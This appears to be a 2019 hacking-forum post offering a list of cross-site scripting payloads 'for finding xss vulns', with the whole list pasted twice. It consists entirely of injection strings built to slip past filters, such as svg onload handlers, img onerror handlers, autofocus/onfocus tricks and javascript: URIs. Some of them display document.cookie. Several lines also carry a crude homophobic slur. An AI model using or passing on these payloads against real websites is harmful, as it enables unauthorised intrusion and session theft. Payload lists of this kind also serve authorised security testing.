Basic js and html for finding xss vulns 08-30-2019, 01:52 AM
#1
<h1>lol</h1><iframe src="https://www.twtter.com” height=800 width=800 frameborder=1 align=center>
"'><h1>lol</h1><iframe src=//twitter.com>
"'--!><Svg/Onload=confirm`1`>
"'--!><Svg/Onload=confirm`lol`>"
'"--!><Image%0CSrcset=.%0COnerror=confirm`lol`>
'"/Autof<K>ocus /O<K>nfocus=confirm`lol` //
<!'/*!"/*\'/*\"/*--!></Title/></Script/><Input/Autofocus/
*/Onfocus=confirm`lol`//><svg>
<!'/*!"/*\'/*\"/*--!></Title/></Script/><Input/Autofocus/*/Onfocus=confirm`openbugbounty`//><svg>
'"--!></script/><Svg/Onload=confirm`lol`//
" autofocus onfocus=alert(/lol/)//
"><img src=x onerror=prompt(/lol/)>
"><svg onload=top['confirm']('xss')>
"><svg/onload=alert(/lol/)>
<h1>FAGBOX</h1><iframe src=//twtter.com>
<a/onmousemove=alert(/fagbox)//><h1>L<br>O<br>L<br>O<br>L<br>O<br>L<br>O<br>L<br>O<br>youhavexss <!--
</title><img src=x onerror=prompt(/XSS AND RFI/)><h1>h<br>a<br>h<br>h<br>a<br>h<br>a<br>h<br>a<br>h<br><marquee>lol</marquee> <!--
<h1>lol<br><br><br><br><img src=x onerror=prompt(String.fromCharCode(79,80,69,78,66,85,71,66,79,85,78,84,89)) /><!--
'"></title><script>alert(/LOL/)</script>
<--'<script>window.confirm('LOL')</script> --!>
"";</script><script>prompt(/LOL/)</script><"
<embed src=javascript:alert(1)>
';(prompt)('xss')//
<a onmouseover="alert(document.cookie)">xxs link</a>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG """><SCRIPT>alert("lol")</SCRIPT>">
"><script>alert(document.cookie)</script>
"'><h1>lol</h1><iframe src=//twitter.com>
"'--!><Svg/Onload=confirm`1`>
"'--!><Svg/Onload=confirm`lol`>"
'"--!><Image%0CSrcset=.%0COnerror=confirm`lol`>
'"/Autof<K>ocus /O<K>nfocus=confirm`lol` //
<!'/*!"/*\'/*\"/*--!></Title/></Script/><Input/Autofocus/
*/Onfocus=confirm`lol`//><svg>
<!'/*!"/*\'/*\"/*--!></Title/></Script/><Input/Autofocus/*/Onfocus=confirm`openbugbounty`//><svg>
'"--!></script/><Svg/Onload=confirm`lol`//
" autofocus onfocus=alert(/lol/)//
"><img src=x onerror=prompt(/lol/)>
"><svg onload=top['confirm']('xss')>
"><svg/onload=alert(/lol/)>
<h1>FAGBOX</h1><iframe src=//twtter.com>
<a/onmousemove=alert(/fagbox)//><h1>L<br>O<br>L<br>O<br>L<br>O<br>L<br>O<br>L<br>O<br>youhavexss <!--
</title><img src=x onerror=prompt(/XSS AND RFI/)><h1>h<br>a<br>h<br>h<br>a<br>h<br>a<br>h<br>a<br>h<br><marquee>lol</marquee> <!--
<h1>lol<br><br><br><br><img src=x onerror=prompt(String.fromCharCode(79,80,69,78,66,85,71,66,79,85,78,84,89)) /><!--
'"></title><script>alert(/LOL/)</script>
<--'<script>window.confirm('LOL')</script> --!>
"";</script><script>prompt(/LOL/)</script><"
<embed src=javascript:alert(1)>
';(prompt)('xss')//
<a onmouseover="alert(document.cookie)">xxs link</a>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG """><SCRIPT>alert("lol")</SCRIPT>">
"><script>alert(document.cookie)</script>
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)